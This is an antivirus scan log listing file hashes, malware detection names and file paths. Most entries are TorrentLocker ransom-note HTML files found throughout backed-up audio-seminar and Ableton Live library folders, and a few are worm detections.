sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\01 Filters\02 No Labels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\02 LPF\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\02 LPF\01 with Labels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\02 LPF\02 No Labels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\03 HPF & LPF\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\03 HPF & LPF\01 With Labels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\03 HPF & LPF\02 No Labels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\04 Polarity Testers\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\05 All Pass Filters\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\06 Alignment\01 Channels Level Adjust\wie_zum_Wiederherstellen_von_Dateien.html"

sh=9D9EED463EDB34A54F80E5F7FD358CD0059D2F9E ft=1 fh=2d918abecd319cb9 vn="Variante von Win32/Bundpil.DJ.gen Wurm" ac=I fn="E:\Dagmar\USB bckup\4gImO0cEqS4YAmO0cEqKwYAm22e8kU6 8kMyS4w.Ae0"

sh=D9ED0024DF7F25EDCB18D78E03F4D698CE31DBA9 ft=1 fh=3146690fd679a5fc vn="Variante von Win32/Bundpil.DJ.gen Wurm" ac=I fn="E:\Dagmar\USB bckup\QmGsEia wAmW8cMqaCwQuW8sMqaCgQ2W8.8sUqaCYGcCg2eGcEaCwImO8cqS4YAmOsU6iCoIuGsUya4YAeO0cqS4QO"

sh=1DEC66E2917EDD95A1888577510773D1E0F18338 ft=0 fh=0000000000000000 vn="Win32/Bagle.X Wurm" ac=I fn="E:\download\info.hda"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\.Trashes\501\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Ableton Project Info\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Drums\Acoustic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Drums\Electronic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Keys\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Mallets\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Sound-FX\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Strings\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Synth\Bass\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Synth\Bleep\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Synth\Lead\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Synth\Pad\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Synth\Rhythmic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Clips\Voice\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Bass\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Drums\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Guitars & Plucked\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Kits\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Mastering & Helper\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Performance & DJ\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Synth\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Audio Effect Rack\Voice\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Auto Filter\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Auto Pan\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Beat Repeat\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Chorus\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Compressor I\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Compressor II\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Dynamic Tube\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\EQ Eight\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\EQ Three\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Erosion\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Filter Delay\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Flanger\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Gate\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Grain Delay\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Phaser\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Ping Pong Delay\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Redux\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Resonators\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Reverb\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Saturator\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Simple Delay\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Utility\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Audio Effects\Vinyl Distortion\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Impulse\Acoustic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Impulse\Electronic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Brass\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Drums\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Guitars & Plucked\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Keys\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Mallets\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Performance\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Sound-FX\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Strings\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Synth\Bass\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Synth\Bleep\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Synth\Lead\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Synth\Pad\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Synth\Rhythmic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Instrument Rack\Voice\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Simpler\Components\Atmospheric\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Simpler\Components\Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\Instruments\Simpler\Components\Harmonic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\Arpeggiator\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\Chord\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\MIDI Effect Rack\Arps\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\MIDI Effect Rack\Tools\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\Pitch\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\Random\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\Scale\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Presets\MIDI Effects\Velocity\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Aerosol\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Great Big\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Ladylike\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Metalworks\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Monkish\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Phrantasy\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Pneumatic\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Steampipe\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Windtunnel\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Atmospheric\Woodshop\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Brass Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Celeste Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Click Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Flute Attack\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="J:\Ableton Live6Library\Ableton Project Info\Samples\Waveforms\Components\Attack\Glockenspiel Attack\wie_zum_Wiederherstellen_von_Dateien.html"

